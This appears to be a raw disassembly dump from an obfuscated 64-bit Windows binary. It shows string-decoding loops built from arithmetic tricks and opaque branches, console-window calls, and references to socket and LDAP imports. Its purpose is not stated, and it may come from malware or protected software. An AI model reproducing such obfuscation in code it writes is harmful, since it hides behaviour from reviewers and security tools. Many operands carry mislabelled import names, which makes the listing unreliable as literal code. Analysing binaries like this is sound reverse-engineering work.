cmp r8, rax
je 0x1400c1a23
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c1a06
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c19e8
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c19b7
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c15a0
lea r8, [r9 + 0x400]
lea r9, [r8 + 9]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c1f53
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c1f37
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c177d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c1763
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c1746
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c196a
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x1400c1924
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c18e6
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c18c0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c15a0
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400c1893
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400c1873
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400c1859
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400c1839
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400c1821
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400c1807
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400c17e1
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400c17bc
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400c179d
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400c15a0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x10]
jmp 0x1400c15a0
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c1590
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x1400c1520
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c14c0
lea edx, [r10 + 0x80]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x80
add dl, cl
jmp 0x1400c1de4
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400c14a2
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400c14a2
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x1400c1e2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add r8, r9
jmp 0x1400c1e6a
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c1e6a
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
jmp 0x1400c1e9b
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c1eca
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
mov byte [rbp + rbx + 0x428], dl
inc rbx
jmp 0x1400c14a2
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x64
jb 0x1400c18d7
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x40]
jmp 0x1400c1de4
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
cmp r8, 6
jae 0x1400c1d18
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400c1c79
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x1400c18fe
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x1400c1d35
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400c1ba9
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c1939
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x40
add dl, r10b
jmp 0x1400c1eca
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c1e9d
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
jmp 0x1400c1e6a
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
add r8, r9
jmp 0x1400c1e6a
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400c14a2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
inc r9
dec rbx
inc rbx
jmp 0x1400c14a2
lea edx, [r10 + 0x60]
mov ecx, Ordinal_50
jmp 0x1400c1dd5
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c1acc
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
jmp 0x1400c1979
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1b06
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c1b2c
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c1e9d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1b54
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
add r8, r9
jmp 0x1400c1e6a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1b7a
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c1e2f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1982
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1bcc
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400c1de4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1bf7
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
dec rbx
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1c19
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x1400c1e67
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c1c3f
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c1e9d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c1939
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1cb3
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1cca
lea edx, [r10 + 0x60]
mov ecx, Ordinal_50
jmp 0x1400c1e20
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1cee
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec rbx
inc rbx
jmp 0x1400c14a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c18fe
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c1de4
lea edx, [r10 + 0x80]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x80
jmp 0x1400c1e2a
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
jmp 0x1400c1e9b
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x1400c1e9d
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c1e6a
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
add r8, r9
jmp 0x1400c1e6a
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c14a2
lea edx, [r10 - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x428], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c14a2
movzx r10d, bl
lea edx, [r10 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
sub cl, 0x30
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x428], cl
add r8, r9
jmp 0x1400c1e6a
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x30
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c14a2
lea rcx, [rbx + r12]
and dil, cl
mov eax, Ordinal_27
sub al, dil
lea edx, [rax + rax]
add dl, r11b
movzx r10d, bl
add dl, cl
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x428], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x40]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x40
add r11b, cl
mov byte [rbp + rbx + 0x428], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x10
movzx eax, byte [rbp + rbx + 0x428]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c14a2
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x1400c14a0
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x1400c1490
lea rdx, [rbp + 0x171fbe8]
jmp 0x1400c1f88
lea rdx, [rbp + 0x5e8db8]
jmp 0x1400c1f88
lea rdx, [rbp + 0x428]
mov rcx, qword [0x1402cdcd0]
call fcn.1400cc620
mov rsi, qword [0x1402cdcd0]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x530], recv
mov byte [rbp + 0x531], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x532], Ordinal_41
mov byte [rbp + 0x533], 0x3e
mov byte [rbp + 0x534], Ordinal_41
mov byte [rbp + 0x535], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x536], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x537], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x538], gethostname
mov byte [rbp + 0x539], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x53a], 0x3e
mov byte [rbp + 0x53b], Ordinal_41
mov byte [rbp + 0x53c], Ordinal_60
mov byte [rbp + 0x53d], 0x3d
mov byte [rbp + 0x53e], gethostname
mov byte [rbp + 0x53f], 0x47
mov byte [rbp + 0x540], Ordinal_50
mov byte [rbp + 0x541], gethostname
mov byte [rbp + 0x542], 0x44
mov byte [rbp + 0x543], WSASetLastError
mov byte [rbp + 0x544], 0x42
mov byte [rbp + 0x545], Ordinal_46
mov byte [rbp + 0x546], Ordinal_60
mov byte [rbp + 0x547], 2
mov byte [rbp + 0x548], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x549], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x54a], 0
mov byte [rbp + 0x54b], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x54c], 0x48
mov byte [rbp + 0x54d], Ordinal_79
mov byte [rbp + 0x54e], Ordinal_79
mov byte [rbp + 0x54f], 0x61
mov byte [rbp + 0x550], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x551], xmm0
movups xmmword [rbp + 0x561], xmm0
mov word [rbp + 0x571], ax
movabs r14, 0x2d987c702072ac49
movabs r12, 0x3f2b6710e322b5ff
movabs r15, 0x88c97550615804db
movzx r11d, byte [rsp + 0x32]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400c294a
movzx r10d, byte [rbp + rbx + 0x530]
mov edx, r10d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c2941
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c213b
lea rcx, [rbx + r14]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
inc r11b
jmp 0x1400c2168
je 0x1400c28d9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c2853
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2822
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c27df
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400c2938
lea rcx, [r9 + 9]
cmp r8, rcx
jae 0x1400c219b
lea r11d, [rbx - 3]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x15
add r11b, r10b
jmp 0x1400c21d7
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c27c5
inc rax
cmp r8, rax
je 0x1400c27a2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2782
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2768
cmp r8, rcx
je 0x1400c273d
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400c2465
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c2443
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c241b
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c23fc
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c23dd
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x64]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c291d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c2902
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c229f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c2339
lea r8, [r9 + 6]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c230e
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c22f4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c22d9
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c22b9
lea r8, [r9 + 1]
lea r9, [r8 + 5]
jmp 0x1400c21f0
lea ecx, [rbx + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x79
jmp 0x1400c2110
lea edx, [rbx - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x58
add r11b, dl
movzx edx, bl
jmp 0x1400c27f7
lea ecx, [rbx + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x62
jmp 0x1400c283a
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x1400c2895
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
lea ecx, [rbx + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x73
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400c2721
lea rdi, [r9 + 6]
lea rdx, [r9 + 1]
cmp r8, rdi
jbe 0x1400c253f
lea ecx, [rbx + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3d
lea rcx, [r9 + 2]
cmp r8, 0x7a
jae 0x1400c26e0
cmp r8, rdx
jbe 0x1400c25fe
lea edx, [rbx + 0x62]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 9
jb 0x1400c26d0
lea ecx, [rbx + 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x34]
movzx edx, bl
jmp 0x1400c27f7
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2895
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2837
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c20f2
lea edx, [rbx + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx edx, bl
jmp 0x1400c27f7
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c2487
lea ecx, [rbx + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
inc r11b
jmp 0x1400c234e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c24c0
lea edx, [rbx - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c24e8
lea edx, [rbx + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2837
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2510
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c26f9
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c234e
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx edx, bl
jmp 0x1400c27f7
cmp r8, rdx
jne 0x1400c2561
lea ecx, [rbx - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3f
movzx edx, bl
jmp 0x1400c27f7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2584
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x45
jmp 0x1400c26f9
lea rcx, [r9 + 2]
cmp r8, rcx
jne 0x1400c25a7
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x1400c2837
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c25ca
lea ecx, [rbx + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4b
jmp 0x1400c2869
cmp r8, rdi
jne 0x1400c2386
lea ecx, [rbx - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4f
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
jne 0x1400c2630
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
lea rax, [rdx + 1]
cmp r8, rax
jne 0x1400c2658
lea edx, [rbx - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2895
cmp r8, rcx
jne 0x1400c267c
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c2869
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c26a1
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c26f9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c23b3
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx edx, bl
jmp 0x1400c27f7
mov byte [rbp + rbx + 0x530], r11b
inc rbx
jmp 0x1400c20f2
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x34
lea r11d, [rcx + rcx]
add r11b, dl
movzx ecx, bl
sub cl, 0xf
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x69
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0x530], r10b
jmp 0x1400c2837
lea edx, [rbx + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c2869
lea ecx, [rbx + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x27
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
lea ecx, [rbx - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1f
jmp 0x1400c2837
lea ecx, [rbx - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
dec rbx
inc rbx
jmp 0x1400c20f2
lea ecx, [rbx + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x19
inc r9
dec rbx
inc rbx
jmp 0x1400c20f2
lea ecx, [rbx - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x17
movzx edx, bl
jmp 0x1400c27f7
movzx edx, bl
lea ecx, [rdx + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x13
add dl, 0x5f
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
add r10b, 0x67
add r10b, dl
mov byte [rbp + rbx + 0x530], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c20f2
lea ecx, [rbx + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xb
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c20f2
lea rcx, [rbx + r12]
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
add r11b, 7
add r11b, cl
movzx edx, bl
sub dl, 0x7d
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x530], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x530], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
lea rax, [rbx + r15]
and dl, al
add dl, dl
sub r10b, dl
lea r11d, [rax + r10]
add r11b, 3
movzx eax, byte [rbp + rbx + 0x530]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c20f2
sub bl, 0x13
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7b
jmp 0x1400c20f0
add bl, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7d
jmp 0x1400c20e0
lea rdx, [rbp + 0x14bc63c]
jmp 0x1400c2951
lea rdx, [rbp + 0x17e7285]
jmp 0x1400c2951
lea rdx, [rbp + 0x530]
mov rcx, rsi
call fcn.140059ac0
mov byte [rbp + 0x120], 0x5e
mov byte [rbp + 0x121], 8
mov byte [rbp + 0x122], 4
mov byte [rbp + 0x123], recv
xorps xmm0, xmm0
xor eax, eax
